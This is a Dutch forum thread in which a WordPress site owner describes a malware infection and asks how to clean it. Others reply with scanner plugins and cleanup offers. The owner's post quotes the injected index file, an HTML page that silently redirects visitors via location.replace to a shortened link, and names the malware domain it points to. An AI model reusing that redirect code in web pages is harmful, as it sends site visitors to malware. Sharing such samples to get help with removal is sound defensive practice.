Malware virus in Wordpress

**Marcel Peric** · 12-09-2016, 08:51

Hoi,

Al enige tijd heeft m'n website te maken met een virus, in WordPress. De site wordt dan doorgelinkt naar een mallware-website (http://melihince .co.uk/wp-content/home.html mocht je het willen weten) en in alle mappen op m'n server worden een .index-file geplaatst met deze code:

Code:

<html>


<head>


<title>
ATT
</title>


<script>
location.replace("http://bit.ly/2cjj34d?utm_campaign=Facebook&utm_medium=social&utm_source=facebook.com")
</script>


</head>


<frameset cols="0,*">
</frameset>


<noframes>


<body>


<a href="URL">
ATT</a>


</body>


</noframes>


</html>

Ik heb bij mijn Wordpress de bestanden in de root al vervangen, de mappen wp-admin en wp-includes al opnieuw geupload, de map wp-content heb ik gescand (ook de upload map), en uiteraard alle logins/tokens gewijzigd. Echter blijven die index-files aangemaakt worden waardoor ik denk dat het in de database zit.

Heeft iemand misschien ervaring met het verwijderen van deze malware op m'n website? Of hoe ik m'n PhpMyAdmin kan scannen op bijvoorbeeld malware-codes?

**jeffrey Middelbos** · 12-09-2016, 09:16

Kan ook zijn dat de server geïnfecteerd is, dan kun jij wel je bestanden aanpassen/vervangen etc, maar zolang de beheerder de server niet opschoont, blijft het gebeuren.

Je kan hiernaast een plugin als Bulletproof draaien, deze kan een redelijk deel van de problemen voorkomen ( account abuse daarentegen is lastig tegen te gaan. )

**ramon fincken** · 12-09-2016, 10:32

Zeker, voor een tientje schoon ik m helemaal op. Ik loop m dan na met de server scanner van sucuri en handmatig.
Qua files en qua database.

**Marcel Melis** · 12-09-2016, 10:42

1 tientje maar ramon? Das geen geld ��

Ik zou zelf in zo'n geval wordfence even installeren en die een scan laten doen, waarbij je zeker de optie om ook de mappen buiten de normale WordPress installatie te laten scannen even moet aanvinken.

**ramon fincken** · 12-09-2016, 10:46

Yes, sucuri loopt alle wp en non wp mappen na.
Daarnaast loop ik de DB na voor vage zaken.

Ik heb vandaag meer tijd dan normaal, anders kost t meer dan 10 euro inderdaad.

Malware virus in Wordpress